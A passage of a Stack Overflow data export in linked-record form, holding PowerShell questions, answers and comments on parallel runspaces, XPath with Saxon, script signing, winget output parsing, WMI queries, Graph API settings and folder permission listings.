has body: I found this interesting function, ForEach-Parallel that works in PowerShell v5. It's part of the repo chocolatey-oneget-provider at GitHub that I've tried to improve upon. The reason I'm not using PowerShell v7.x is that the other code base I'm working with only supports PowerShell v5. But I'm having issues with running network commands in parallel, is that a limitation in the Windows 10 TCP-stack as the time saving is minimal? The second example I've specified will generate an error output before starting. One or more errors occurred. Also I'm not that happy with my attempt of hiding the parameterized argument -ScriptBlock by just assuming it is in position 0. function Invoke-ForEachParallel { [CmdletBinding()] [Alias('ForEach-Parallel') ][Diagnostics.CodeAnalysis.SuppressMessageAttribute( "PSAvoidUsingAliases", '', Justification = 'The used verb makes the most sense in this case.' )] param ( [Parameter(Mandatory, ValueFromPipeline)] [Array]$Items, #! Not used in the code as a param so will only work as piped value [Parameter(Mandatory, Position = 0)] [Alias ('Process')] #* Bad way of making the script more compatible with foreach syntax [scriptblock]$ScriptBlock, [Parameter()] [Object[]]$ArgumentList, [Parameter()] [int]$MaxRunspaces = 16, [Parameter()] [int]$TimeOut = (60 * 60 * 1000) #TODO: Handle seconds as input as well? ) if ($Input) { try { # create the optional argument- & parameter-lists to be used in the script-block $Arguments = '' $Parameters = '' if ($ArgumentList) { for ($Index = 0; $Index -lt $ArgumentList.Length; $Index++) { $Arguments += ", `$$Index" $Parameters += " `$$Index" } } # create the script-block to be executed # - the provided script-block is wrapped, so the provided arguments (ArgumentList) # can be passed along with the current item ($_) # - the current module is always loaded $ScriptText = @" [CmdletBinding()] param (`$_$Arguments) function Wrapper { $ScriptBlock } Wrapper $Parameters "@ $SessionState = [System.Management.Automation.…
has comment: http://stackoverflow.com/comment/139958397
has comment: http://stackoverflow.com/comment/139958438
type: Question
tagged with: parallel-processing
has comment: http://stackoverflow.com/comment/139958511
has answer: http://stackoverflow.com/a/79364898
has comment: http://stackoverflow.com/comment/139958454
accepted answer: http://stackoverflow.com/a/79364898
has comment: http://stackoverflow.com/comment/139958476
linked to: http://stackoverflow.com/q/60708578
has title: How can I improve this implementation of a foreach-parallel function in PowerShell v5?
tagged with: powershell
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/a/79348700
score: 0
answers question: http://stackoverflow.com/q/79291391
has body: I think I've got Xpath 2.0 working with Saxon HE 10.9 for .net. You have to install that setup file first to get the dll. I haven't gotten downloading the dll through nuget working. # https://github.com/Saxonica/Saxon-HE/blob/main/10/Dotnet/SaxonHE10-9N-setup.exe Add-Type -Path "C:\Program Files\Saxonica\SaxonHE10.9N\bin\saxon-he-api-10.9.dll" # Initialize Saxon Processor and Components $processor = New-Object Saxon.Api.Processor $documentBuilder = $processor.NewDocumentBuilder() $xpathCompiler = $processor.NewXPathCompiler() # Load XML Document $doc = $documentBuilder.Build("$pwd\file.csproj") # Compile the XPath Expression $xpathExpression = $xpathCompiler.Compile( "/Project/ItemGroup/ProjectReference[ends-with(@Include, 'Something.csproj')]") # Create an XPath Selector $xpathSelector = $xpathExpression.Load() # Set the context for the XPath Selector $xpathSelector.ContextItem = $doc # Evaluate the XPath Expression $result = $xpathSelector.Evaluate() # Output Results foreach ($item in $result) { Write-Output $item.ToString() } Output: <ProjectReference Include="Path\To\Something.csproj"/>
type: Answer

http://stackoverflow.com/q/79305652
tagged with: certificate
type: Question
has answer: http://stackoverflow.com/a/79311460
has title: Running a self-certified PowerShell script without administrator rights?
tagged with: powershell
answer count: 1
tagged with: self-signed
tagged with: rights
tagged with: admin-rights
score: 0
has body: I authenticated a .PS1 script with a self-issued certificate as an administrator, who can now himself run the script with ExecutionPolicy AllSigned. However I could not find any way to authenticate this script or a newly written copy of it as a normal user (the error message is misleading: "the file has been modified"). I also copied the admin's certificate to the normal user with success (mmc export/import), but the normal user still can't run the script, nor use this certificate for any authentication. Other solutions from the web didn't work either, for example a certificate moved to the root is also unusable (X509 error). The only way seems to be setting ExecutionPolicy to Unrestricted… but thie is not really wanted.
has comment: http://stackoverflow.com/comment/139847834
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139847833

http://stackoverflow.com/a/79276655
type: Answer
has body: I'm assuming when you refer to getting the sum,average,min,max of files you are referring to the content that is inside of the files. If that is the case and you want to get the sum,average,min and max it is pretty straight forward. Get-ChildItem -File | Foreach-Object { # gets the content in the file $file_content = get-content $_.Name; # writes the filename and contents to the screen Write-host &quot;$($_.Name) = $($file_content)&quot;; # pass thru for measure-object $file_content; } | Measure-object -Sum -Average -Maximum -Minimum Screenshot below shows an example with 3 files. file1.txt contains 2 file2.txt contains 5 file3.txt contains 8
score: 0
answers question: http://stackoverflow.com/q/79276071

http://stackoverflow.com/comment/139796386
has text: 2 answers you can look into: https://stackoverflow.com/a/74933876/15339544 and https://stackoverflow.com/a/69787649/15339544
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79277179

http://stackoverflow.com/q/79337547
type: Question
has answer: http://stackoverflow.com/a/79337636
tagged with: try-catch
answer count: 1
accepted answer: http://stackoverflow.com/a/79337636
has body: On a particularly deep directory, the code: $files = Get-ChildItem -Path $d.FullName -File -Recurse -ErrorAction SilentlyContinue is resulting in Get-Childitem : The script failed due to call depth overflow. At K:\proj000\QC\sully\FindLatestTryCatch_format.ps1:8 char:10 + $files = Get-Childitem -Path $d.Fullname -File -Recurse -ErrorAction ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (0:Int32) [Get-ChildItem], ScriptCallDepthException + FullyQualifiedErrorId : CallDepthOverflow,Microsoft.PowerShell.Commands.GetChildItemCommand I would like to wrap my GCI call in a try-catch block, but I have no idea what to specify in the catch [???] {} inside the square brackets. Can I pull text out of the Error Message shown? Some property of $Error?
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139907802
has title: Powershell - Catch [System.???] - How do I find the ??? to use?
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/139877822
type: Comment
comment on: http://stackoverflow.com/a/79321969
score: 1
type: AnswerComment
has text: It might be helpful to add `| Remove-Item -WhatIf`.

http://stackoverflow.com/a/79274662
has comment: http://stackoverflow.com/comment/139798610
has body: To install and import the Microsoft.Graph.Entra.Beta, make use of below yml file: name: Azure AD B2C Policy Upload on: push: branches: - main jobs: install-and-upload: runs-on: windows-latest # Use a Windows runner steps: - name: Checkout code uses: actions/checkout@v3 # Checkout your repository code to access the PowerShell script - name: Install Microsoft.Graph.Entra.Beta module shell: pwsh run: | Install-Module -Name Microsoft.Graph.Entra.Beta -AllowPrerelease -Force -Scope CurrentUser - name: Import the module shell: pwsh run: | Import-Module Microsoft.Graph.Entra.Beta - name: Connect the module shell: pwsh run: | Connect-Entra The modules installed and imported successfully like below: The error "Not found in any module directory" usually occurs if there is any issue with PowerShell connection. Make use of shell: pwsh and use the above yml file to install and import modules.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79272156
has comment: http://stackoverflow.com/comment/139798565
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139800133
has comment: http://stackoverflow.com/comment/139800050
score: 1
accepted answer of: http://stackoverflow.com/q/79272156
upvote count: 1
has comment: http://stackoverflow.com/comment/139798542
has comment: http://stackoverflow.com/comment/139798753

http://stackoverflow.com/a/79300310
answers question: http://stackoverflow.com/q/79297671
downvote count: 0
type: Answer
has body: To complement Santiago's helpful answer with background information: Indeed, the about_Parameters_Default_Values help topic currently doesn't mention support for script files (*.ps1) De facto, however, entries for *.ps1 files are supported, but if and only if: The script file is referenced by file name only, notably including the filename extension; in your case, this means: 'myScript.ps1:path'... ... and the target script is implemented as an advanced script, meaning that it has a param(...) block that is decorated with a [CmdletBinding()] attribute and/or at least one of the declared parameters inside that block is decorated with a [Parameter()] attribute. GitHub issue #24708 is a feature request that asks for these somewhat arbitrary and non-obvious constraints to be lifted. The upshot: Given that your script file is an advanced one, the following would work, irrespective of whether you use a path on invocation (if not, your .ps1 file must be discoverable via $env:PATH or, if so, irrespective of which particular path you use): $PSDefaultParameterValues = @{ 'myScript.ps1:path' = 'C:\temp\db.jsonc' } However, the above implies that any myScript.ps1 you invoke - irrespective of its location - may trigger use of the default parameter value, as long as the target script is (a) and advanced one and (b) declares a matching parameter, namely -Path in this case.
score: 1
upvote count: 1

http://stackoverflow.com/q/79386069
favorite count: 0
has body: I want to store various outputs from Invoke-SSHCommands as objects. Let's say I get the result formatted as CSV and I want to convert it to PSObject but the difficulty for me is that: Not the header but the first column should be interpreted as property names. The header names are always different. The output from ssh looks like this but the header and values can differ depending of the ssh command: PS&gt; $mySSHResult attribute |value ---------------------+----- hostname |foo version |1.1 variant_id |bar I already have converted the output to an Object[] with ConvertFrom-CSV but that's not practical for me. It looks like this: PS&gt; $mySSHResult | ForEach-Object {$_ -replace '\s*\|\s*', '|'} | ConvertFrom-Csv -Delimiter &quot;|&quot; | select -Skip 1 attribute value --------- ----- hostname foo version 1.1 variant_id bar What I want is the value of the first column as property name of the object. It should look like this: PS&gt; $myObject hostname version variant_id -------- ------- ---------- foo 1.1 bar I tried my best with foreach() and | foreach-object but I'm too dumb to figure it out. Can somebody help me?
possible better answer: http://stackoverflow.com/a/79386358
tagged with: http://stackoverflow.com/tag/csv
answer count: 2
has answer: http://stackoverflow.com/a/79386358
type: Question
has comment: http://stackoverflow.com/comment/140002398
has answer: http://stackoverflow.com/a/79386074
accepted answer: http://stackoverflow.com/a/79386074
type: AnsweredQuestion
has title: How to convert CSV or Object-Array to an object but with the first column as properties
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
tagged with: object

http://stackoverflow.com/comment/139891707
comment on: http://stackoverflow.com/a/79330051
type: Comment
has text: It always comes back to that comma operator. Using this works and generators the desired output. Thanks.
score: 0
type: AnswerComment

azure-cloud-shell
type: Tag
tag name: azure-cloud-shell
tags question: http://stackoverflow.com/q/79334513

http://stackoverflow.com/comment/139743244
type: QuestionComment
type: Comment
score: 0
has text: maybe with | Out-Null, but idk what line is causing the output
comment on: http://stackoverflow.com/q/79247480

http://stackoverflow.com/q/79377043
tagged with: powershell
tagged with: virtual-machine
has title: powershell script on virtual machines - NotImplemented: root\wmi:WmiMonitorID
has body: I've a PS script that is working well except virtual machines. script: function Get-MonitorInfo { function Decode { If ($args[0] -is [System.Array]) { [System.Text.Encoding]::ASCII.GetString($args[0]) } } $monitors=[pscustomobject]@(); foreach ($mon in Get-CimInstance WmiMonitorID -Namespace root\wmi ) { $monitors+=[pscustomobject]@{ Active = $mon.active;InstanceName = $mon.InstanceName; ManufacturerName = Decode $Mon.ManufacturerName; ProductCodeID = Decode $Mon.ProductCodeID; SerialNumberID = Decode $Mon.SerialNumberID; Userfriendlyname = Decode $Mon.UserFriendlyName } } $monitors } Get-MonitorInfo output on non-virtual PCs: Active : True InstanceName : DISPLAY\ACR0719\4&amp;39177d96&amp;0&amp;UID41031_0 ManufacturerName : ACR ProductCodeID : 0719 SerialNumberID : 2484099045 Userfriendlyname : CB242Y Active : True InstanceName : DISPLAY\BOE0A4F\4&amp;39177d96&amp;0&amp;UID8388688_0 ManufacturerName : BOE ProductCodeID : 0A4F SerialNumberID : 0 Userfriendlyname : error on VMs: Get-CimInstance : Not supported At line:11 char:22 + ... foreach ($mon in Get-CimInstance WmiMonitorID -Namespace root\wmi ) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotImplemented: (root\wmi:WmiMonitorID:String) [Get-CimInstance], CimException + FullyQualifiedErrorId : HRESULT 0x8004100c,Microsoft.Management.Infrastructure.CimCmdlets.GetCimInstanceCommand But other gcims calls are working fine: Get-CimInstance Win32_Process
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139984557
has comment: http://stackoverflow.com/comment/139983057
type: Question
answer count: 0

http://stackoverflow.com/comment/139787086
score: 0
has text: same issues with Connect-Entra PSCmdlet I have tried to install Microsoft.Graph module and run same command.. no luck. I have tried installing Microsoft.Graph.Entra and Microsoft.Graph.Entra.Beta and both dont get installed
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79272156

http://stackoverflow.com/q/79414856
tagged with: powershell
has body: I'm trying to figure out how I can grab the current version of an app installed on a computer using Winget, and save it to a variable. Eg. if I enter: winget list --name 7-Zip This returns: Name Id Version Source ------------------------------------------- 7-Zip 24.09 (x64) 7zip.7zip 24.09 winget So I want to grab only the "24.09" part of this output. Unfortunately my knowledge of PowerShell scripting isn't quite advanced enough to do this. My goal is to create a remediation script for Intune where I can output something like this at the end: Write-Output "The current installed version of $appName is $appVersion"
has answer: http://stackoverflow.com/a/79415054
possible better answer: http://stackoverflow.com/a/79415054
has title: Return the current version of an app with winget
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/79415504
favorite count: 0
has comment: http://stackoverflow.com/comment/140053663
linked to: http://stackoverflow.com/q/74276422
answer count: 2
has answer: http://stackoverflow.com/a/79415504
type: Question
tagged with: winget
downvote count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140054800

http://stackoverflow.com/comment/139792013
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79273719
type: AnswerComment
has text: @jkix ahh then yes if you need elevated then it makes sense

http://stackoverflow.com/comment/139946858
has text: if I want to exclude a specific file, or a folder, what should I use?
comment on: http://stackoverflow.com/a/79356494
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/79405109
has body: I am using Windows Terminal, and the shell I use doesn't matter. For example, this issue occurs with both PowerShell and Command Prompt. When I start the shell, the Windows Terminal title is set to something like "PowerShell (v7)," which is a custom title I configured within Windows Terminal. However, when I run any npm command, such as npm --version or npm --help, the terminal title temporarily changes to "npm" before reverting back to my custom title. I would like to know how to prevent this title change specifically for npm commands. I am aware that Windows Terminal has a setting to block title changes entirely, but I don't want to disable title changes globally because I still need the ability to change the title in other contexts. I am looking for a solution to prevent npm from changing the title when it runs. Interestingly, when I run other programs, such as Deno, the terminal title does not change, which leads me to believe that the title change is not caused by PowerShell itself but rather by npm. Since I know that terminal titles can be changed by sending escape sequences to stdout, I tried redirecting both stdout and stderr to files using a command like npm --version > out.txt 2> err.txt. However, this did not prevent the title from changing. Is there a way to disable npm's behavior of changing the terminal title?
tagged with: powershell
score: 3
upvote count: 3
type: UnansweredQuestion
favorite count: 0
tagged with: node.js
has title: How to Disable Terminal Title Change When Running Node or npm Commands
linked to: http://stackoverflow.com/q/79208164
has comment: http://stackoverflow.com/comment/140035650
has answer: http://stackoverflow.com/a/79546543
type: Question
tagged with: windows-terminal
downvote count: 0
tagged with: npm
answer count: 1

http://stackoverflow.com/comment/139916107
score: 1
has text: I am now using Windows Terminal which has no rendering problem.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79327313

http://stackoverflow.com/a/79313458
type: Answer
score: 0
has body: there was a network issue between the two nodes, but after fixing the issue of the network between the two nodes, the driver appeared and now i can use it. i don't know if that is true or not, but i think the failover cluster was reserving the disk as a resource for the cluster.
answers question: http://stackoverflow.com/q/79307364

http://stackoverflow.com/comment/140003792
score: 1
comment on: http://stackoverflow.com/q/79388784
has text: Seems to be an issue related to conda, see: https://github.com/conda/conda/issues/14292
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79380052
score: 1
has title: How to retrieve day-wise working hours set in Outlook using Microsoft Graph API or PowerShell cmdlet?
has answer: http://stackoverflow.com/a/79380077
accepted answer: http://stackoverflow.com/a/79380077
type: Question
downvote count: 0
answer count: 1
tagged with: exchange-online
tagged with: powershell
type: AnsweredQuestion
tagged with: outlook
tagged with: microsoft-graph-api
has body: I’m trying to retrieve the day-wise working hours configured by users in their Outlook work settings. In Microsoft 365, users can set different working hours for each day of the week (e.g., 9 AM to 5 PM on Monday, 10 AM to 6 PM on Tuesday). When I use the Microsoft Graph API to fetch mailboxSettings, the workingHours property only provides static working hours (i.e., the same start and end time for all specified daysOfWeek). Here’s the API call I used: GET https://graph.microsoft.com/v1.0/me/mailboxSettings This returns the following response: { "workingHours": { "daysOfWeek": ["monday", "tuesday", "wednesday", "thursday", "friday"], "startTime": "09:00:00", "endTime": "17:00:00", "timeZone": { "name": "Pacific Standard Time" } } } This does not account for variations in working hours across different days. For example: Monday: 9 AM to 5 PM Tuesday: 10 AM to 6 PM I also tried using the PowerShell cmdlet Get-MailboxCalendarConfiguration, but it only provides general calendar settings like time zone and working hours, not day-wise variations. Questions: Is it possible to fetch day-wise working hours using the Microsoft Graph API or PowerShell cmdlets? If not, are there any recommended workarounds or alternative approaches to retrieve this information (e.g., through another API, custom configurations, or combining calendar availability)? Any guidance or suggestions would be greatly appreciated
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/140013377
score: 2
type: Comment
has text: Well that explains - `sn` belongs to the `person` class, of which `user` is a descendant. You need to resolve the parent hierarchy (follow the `subClassOf` attribute on the class schema until you reach the `top` schema), resolve all auxiliary classes (recursively), and then combine the list of attributes from them all, in order to get the full list of possible attributes for a user :)
type: QuestionComment
comment on: http://stackoverflow.com/q/79393539

http://stackoverflow.com/comment/139797181
type: AnswerComment
has text: Sorry I cannot get the hang of formatting on here :(
type: Comment
comment on: http://stackoverflow.com/a/79272658
score: 1

http://stackoverflow.com/comment/139948937
comment on: http://stackoverflow.com/a/79359553
has text: @ITSteve glad it helped. Sure there is documentation for XPath, checkout: https://learn.microsoft.com/en-us/dotnet/standard/data/xml/select-nodes-using-xpath-navigation also for learning, this site is alright: https://www.w3schools.com/xml/xpath_intro.asp. you should also read the `XmlDocument` .NET doc: https://learn.microsoft.com/en-us/dotnet/api/system.xml.xmldocument?view=net-9.0
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139843061
has text: Question: can you use Powershell 7.x? If not, [this answer](https://stackoverflow.com/a/43685953/21327470) might help.
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/79302651
type: Comment

http://stackoverflow.com/q/79284952
type: Question
tagged with: nuget
answer count: 0
has comment: http://stackoverflow.com/comment/139810700
has body: I want to install Microsoft.EntityFrameworkCore.Tools so I do : Install-Package Microsoft.EntityFrameworkCore.Tools -ProviderName nuget -Force -v And I log this error : VERBOSE: Suppressed Warning Unknown category for 'NuGet'::'GetDynamicOptions': 'Provider' VERBOSE: Using the provider 'NuGet' for searching packages. VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/1.0.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/1.1.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/2.0.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/2.1.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/2.2.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/3.0.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/3.1.json' for '0' more times VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/microsoft.entityframeworkcore.tools/5.0.json' for '0' more times ... (Same line for other pacakage) VERBOSE: Retry downloading 'https://api.nuget.org/v3/registration5-gz-semver2/system.valuetuple/4.5.json' for '0' more times Install-Package : Dependency loop detected for package 'Microsoft.EntityFrameworkCore.Tools'. At line:1 char:1 + Install-Package Microsoft.EntityFrameworkCore.Tools -ProviderName nug ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : Deadlock detected: (Microsoft.EntityFrameworkCore.Tools:String) [Install-Package], Exception + FullyQ…
has comment: http://stackoverflow.com/comment/140172104
tagged with: powershell
has comment: http://stackoverflow.com/comment/139810481
score: 0
has title: Problem installing Microsoft.EntityFrameworkCore.Tools : Retry dowmloading and DependencyLoop
linked to: http://stackoverflow.com/q/55380045
type: UnansweredQuestion

http://stackoverflow.com/comment/139932485
has text: @Sridevi for now, I've been trying to add "User.RevokeSessions.All", but I've also tried with "WorkforceIntegration.ReadWrite.All" and they both give the same result.
score: 0
comment on: http://stackoverflow.com/q/79349700
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79299847
score: 0
has body: As a general rule, avoid using += Invoke-Command already runs in parallel. Additionally, there's no need to check if the script exists as a separate call, just try to run it and parse the output. You can also use Invoke-Command -FilePath to execute the script directly with the command # Define the list of server names or IP addresses $servers = @( "server1", "server2", "server3" # Add more servers as needed ) # Path to the script on the servers $scriptPath = "D:\your_script.ps1" $icmParams = @{ ComputerName = $servers FilePath = $scriptPath } $results = Invoke-Command @icmParams # Format, filter, and display the $results to your liking
answers question: http://stackoverflow.com/q/79296160
type: Answer

http://stackoverflow.com/comment/140048744
comment on: http://stackoverflow.com/a/79412192
type: AnswerComment
has text: Thank you for the clarification. I've changed my real function code now to use the Item indexer and used your Mock definition. I've also added the appropriate assertion code for Pester 5: Should -Invoke -CommandName New-Object -ParameterFilter -Exactly 1 -Scope It and what is still happening is that it is not calling the New-Object at all... when I step into the code as debug it seems to be instantiating the actual OfficeOpenXml.ExcelPackage object and subsequently fails as the $ExcelFilePath is not a valid filepath to a worksheet... so I think my Mock is not being used
score: 1
type: Comment

http://stackoverflow.com/a/79385345
score: 1
upvote count: 1
has body: Put the presumed select-string output objects in a string context with double quotes around $onepod: 'Orange-UK-1234567890-de22a Orange-US-123456-svbf3 Blue-US-NA-123456789-fr33s' | set-content file.txt $pods = get-content file.txt | select-string .* $pods | % gettype | ft -a IsPublic IsSerial Name BaseType -------- -------- ---- -------- True False MatchInfo System.Object True False MatchInfo System.Object True False MatchInfo System.Object foreach ($onepod in $pods) {"$onepod".split('-')[-5..-3] -join '-'} Orange-UK Orange-US Blue-US-NA Or with -split and some extra parentheses: foreach ($onepod in $pods) { ($onepod -split '-')[-5..-3] -join '-'} Orange-UK Orange-US Blue-US-NA MatchInfo objects deceptively look like strings aside from extra blank lines or highlighting depending on the Powershell version: $pods Orange-UK-1234567890-de22a Orange-US-123456-svbf3 Blue-US-NA-123456789-fr33s
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79384352

http://stackoverflow.com/comment/140003381
score: 2
type: QuestionComment
type: Comment
has text: There's at least one known issue that affects Conda in PowerShell 7.5.0, but it needs to be resolved on the Conda side: https://github.com/PowerShell/PowerShell/issues/24869
comment on: http://stackoverflow.com/q/79388784

http://stackoverflow.com/q/79365189
type: Question
has answer: http://stackoverflow.com/a/79365242
downvote count: 0
tagged with: system-information
answer count: 1
accepted answer: http://stackoverflow.com/a/79365242
tagged with: powershell
type: AnsweredQuestion
upvote count: 1
score: 1
favorite count: 0
has body: I'm on Powershell v 5.1.19041.1682. I have a script that will pull basic system information that sets them as variables and outputs it to a .txt file. Up until now my company has used HP mini PCs, which I can use the following to obtain the system model so I can set it as a variable: (Get-WmiObject -Class Win32_ComputerSystem). Model That result is the model, such as "HP EliteDesk 600 G9" for example. However, we are now switching to Lenovo PCs and the same string pulls "11JQS8EJ0A" instead of "ThinkCenter M75q Gen 2". If I use Get-ComputerInfo command the model shows up how I'd like it to under "CsSystemFamily", but I'm at a loss of how to pull the exact model name separately so I can set it as a variable. Calling me an amateur would be a compliment. I'm winging it, so I apologize if this is a Powershell 101 question.
has title: How to pull the model name of a Lenovo ThinkCenter M75q Gen 2

http://stackoverflow.com/comment/139801082
comment on: http://stackoverflow.com/a/79270136
type: AnswerComment
has text: Nothing, it is `null`.
type: Comment
score: 0

http://stackoverflow.com/comment/139984865
type: QuestionComment
type: Comment
has text: Add some debug logging - something like ```foreach( $server in $servers ) { write-host "server = '$server'" }``` and see what it outputs - that might give you a clue. Note the ```$server``` variable is surrounded by quotes so you can see if there's empty strings or whitespace in any of the lines. Try that with your test and prod files and compare the output...
comment on: http://stackoverflow.com/q/79378728
score: 2

http://stackoverflow.com/q/79276630
type: Question
answer count: 1
has title: SQL Package extract command is failing in PowerShell script
has comment: http://stackoverflow.com/comment/139801567
has body: I wrote a PowerShell script that uses SQL Package to create a dacpac and apply it to my local db. This script worked fine and I was getting ready to share it and it started throwing an error. An unexpected failure occurred: The type initializer for 'Microsoft.SqlServer.Dac.DacServices' threw an exception.. Unhandled Exception: System.TypeInitializationException: The type initializer for 'Microsoft.SqlServer.Dac.DacServices' threw an exception. ---> System.TypeInitializationException: The type initializer for 'SqlSchemaModelStaticState' threw an exception. ---> System.IO.FileNotFoundException: Could not load file or assembly 'Microsoft.SqlServer.TransactSql.ScriptDom, Version=12.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91' or one of its dependencies. The system cannot find the file specified. at Microsoft.Data.Tools.Schema.Sql.SchemaModel.SqlCoreAnnotationRegister.RegisterModelAnnotations(ModelSchema storeSchema) at Microsoft.Data.Tools.Schema.Sql.SchemaModel.SqlSchemaModel.SqlSchemaModelStaticState.RegisterModelSchema() at Microsoft.Data.Tools.Schema.Sql.SchemaModel.SqlSchemaModel.SqlSchemaModelStaticState..cctor() --- End of inner exception stack trace --- at Microsoft.Data.Tools.Schema.Sql.SchemaModel.SqlSchemaModel.SqlSchemaModelStaticState.get_ModelSchema() at Microsoft.Data.Tools.Schema.Sql.SchemaModel.SqlSchemaModel.InitializeModelSchema() at Microsoft.SqlServer.Dac.DacServices..cctor() --- End of inner exception stack trace --- at Microsoft.SqlServer.Dac.DacServices..ctor(String connectionString) at Microsoft.Data.Tools.Schema.CommandLineTool.Program.DoExtractDacpacOperation(CommandLineArguments parsedArgs) at Microsoft.Data.Tools.Schema.CommandLineTool.Program.PerformAction(CommandLineArguments parsedArgs) at Microsoft.Data.Tools.Schema.CommandLineTool.Program.Run(String[] args) at Microsoft.Data.Tools.Schema.CommandLineTool.Program.Main(String[] args) Nothing in my environment was changed. The possible exception is I installed VS 2022 (community…
tagged with: powershell
downvote count: 1
type: AnsweredQuestion
tagged with: sqlpackage
upvote count: 0
accepted answer: http://stackoverflow.com/a/79292426
score: -1
has answer: http://stackoverflow.com/a/79292426
favorite count: 0
has comment: http://stackoverflow.com/comment/139822179

http://stackoverflow.com/comment/139998598
has text: You can simplyfy replacing the foreach with `$DestinationFolderPath=$DestinationFolders | Where-Object -Property Name -match $File.BaseName.Substring(0.8)`
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79383590
type: Comment

http://stackoverflow.com/q/79317582
has answer: http://stackoverflow.com/a/79317868
has title: Find all access rights on a filer for a specified group
answer count: 1
tagged with: powershell
tagged with: group
has comment: http://stackoverflow.com/comment/139868906
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/139868775
has body: I'm looking for a solution to scan recursively a filer for all directories to find, where a specific group has access rights. My first try was this: get-childitem "C:\temp" -directory -recurse | get-acl | Format-List This works good: Path : Microsoft.PowerShell.Core\FileSystem::C:\temp\test Owner : STMI\<ACCOUNT> Group : STMI\Domänen-Benutzer Access : VORDEFINIERT\Administratoren Allow FullControl NT-AUTORITÄT\SYSTEM Allow FullControl VORDEFINIERT\Benutzer Allow ReadAndExecute, Synchronize NT-AUTORITÄT\Authentifizierte Benutzer Allow Modify, Synchronize NT-AUTORITÄT\Authentifizierte Benutzer Allow -536805376 Audit : Sddl : <A LOT OF INFO> Then I tried: get-childitem "C:\temp" -directory -recurse | get-acl | select Path, Access | Format-List The output was interesting Path : Microsoft.PowerShell.Core\FileSystem::C:\temp\test Access : {System.Security.AccessControl.FileSystemAccessRule, System.Security.AccessControl.FileSystemAccessRule, System.Security.AccessControl.FileSystemAccessRule, System.Security.AccessControl.FileSystemAccessRule...} I don't get the group-names, only the objects. There I tried different ideas, to get the "names". So I found that snippet $FolderPath = Get-ChildItem -Directory -Path "C:\temp" -Recurse -Force $Output = @( ForEach ($Folder in $FolderPath){ $ACL=get-acl -Path $Folder.FullName ForEach ($Access in $ACl.Access) { [PSCustomObject] @{ 'Folder Name'= $Folder.FullName 'Group/User' = $Access.IdentityReference 'Permissions' = $Access.FileSystemRights 'Inherited' = $Access.IsInherited } } } ) $Output | Export-Csv -Path "C:\TEMP\DirectoryPermissions.csv" This works fine for c:\temp - but not a filer. And I want to have a filter on a special "object". Now I could not combine these two approaches. I could not manage to get "IdentityReferece" in my one-line-statement. What also is not integrated is the filter for one specific group. I don't want all directories. I only want to get directories in my list, where a specific group has access. I tho…
type: Question
tagged with: path

http://stackoverflow.com/comment/139969286
has text: Cheers this helped alot :)
type: AnswerComment
comment on: http://stackoverflow.com/a/79352275
type: Comment
score: 0

http://stackoverflow.com/comment/140012922
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79393790
type: AnswerComment
has text: God know why I keep having problems using `&` with parameters

http://stackoverflow.com/q/79318169
score: 1
linked to: http://stackoverflow.com/q/27138483
upvote count: 1
accepted answer: http://stackoverflow.com/a/79318620
